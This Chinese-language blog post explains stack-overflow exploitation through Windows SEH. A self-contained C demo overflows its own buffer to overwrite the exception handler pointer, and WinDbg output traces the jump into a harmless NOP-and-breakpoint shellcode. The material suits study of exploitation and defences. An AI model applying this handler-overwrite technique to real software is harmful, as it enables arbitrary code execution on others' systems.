栈溢出利用SEH异常处理

    前面一篇blog <堆溢出(DwordShoot)利用SEH异常处理 > 里提到了基于堆溢出利用SEH的方式,本文将侧重于栈溢出利用SEH异常处理。

    先来看下示例代码:

#include 
#include 

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\xeb\x10" \
					"\x90\x90\x90\x90\x90\x90\x90\xcc" \
					"\x90\x90\x90\x90\x08\x33\x42\x00" \
					"\x90\x90\x90\x90\x90\x90\x90\x90" };

int main()
{
	char buff[8] = {0};
	printf("shellcode:%08x\n",shellcode);
	int i=0,j=0;

	__try
	{
		
		memcpy(buff,shellcode,0x18);
		i/=j;
	}
	__except(1)
	{
		printf("exception handled\n");
	}

	return 0;
}
程序进入__try/__except块后,查看栈中刚形成的异常处理节点和buff的内存分布:

0:000> !exchain
0012ff70: SEHOverflow!_except_handler3+0 (00401600)
  CRT scope  0, filter: SEHOverflow!main+92 (004010a2)
                func:   SEHOverflow!main+98 (004010a8)
0012ffb0: SEHOverflow!_except_handler3+0 (00401600)
  CRT scope  0, filter: SEHOverflow!mainCRTStartup+f8 (004017d8)
                func:   SEHOverflow!mainCRTStartup+113 (004017f3)
0012ffe0: kernel32!_except_handler3+0 (77e7bb86)
  CRT scope  0, filter: kernel32!BaseProcessStart+29 (77e85168)
                func:   kernel32!BaseProcessStart+3a (77e85179)
Invalid exception stack at ffffffff
0:000> dd buff L1
0012ff60  00000000
当前异常处理节点 _EXCEPTION_REGISTRATION_RECORD位于0x12ff70,buff位于0x12ff60,两者相距0x10B。换言之,只要往buff中拷贝超过0x10B字节,就能覆盖异常处理节点。但要修改 _EXCEPTION_REGISTRATION_RECORD! Handler,使得异常发生时跳进shellcode执行,则至少溢出到0x18B。 前文已经说过_EXCEPTION_REGISTRATION_RECORD! Handler中存放的是函数指针,指向__except_handler3函数,异常出现时通过( _EXCEPTION_REGISTRATION_RECORD-> Handler)();语句进入__except_handler3进行处理。为了跳进shellcode执行,需要将 _EXCEPTION_REGISTRATION_RECORD! Handler中保存的地址溢出为shellcode的地址。程序运行时,shellcode的地址是0x423308,因此,我向shellcode偏移0x14处填入0x423308,这样异常出发时即可跳进shellcode执行,如下图:

异常发生前:

栈溢出利用SEH异常处理_第1张图片

触发异常:

栈溢出利用SEH异常处理_第2张图片

触发异常后进入shellcode:

栈溢出利用SEH异常处理_第3张图片

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00423308 edx=77f833b4 esi=00000000 edi=00000000
eip=00423308 esp=0012fb48 ebp=0012fb68 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
SEHOverflow!shellcode:
00423308 90              nop
0:000> u . 
SEHOverflow!shellcode:
00423308 90              nop
00423309 90              nop
0042330a 90              nop
0042330b 90              nop
0042330c 90              nop
0042330d 90              nop
0042330e eb10            jmp     SEHOverflow!shellcode+0x18 (00423320)
00423310 90              nop

    最后,我们来看下栈溢出后,对异常处理链表的影响:
0:000> !exchain
0012fb5c: ntdll!ExecuteHandler2+3a (77f833b4)
0012ff70: SEHOverflow!shellcode+0 (00423308)
Invalid exception stack at 90909090
可以看到,由于buff溢出覆盖了整个异常处理节点,影响了 _EXCEPTION_REGISTRATION_RECORD!Next的值,因此,整个异常处理链表在发生覆盖后就突然断了。相对的,堆溢出后,仅仅影响的是_EXCEPTION_REGISTRATION_RECORD!Handle部分,比起栈溢出那种大动作,它优雅很多~





你可能感兴趣的:(溢出,Exploit)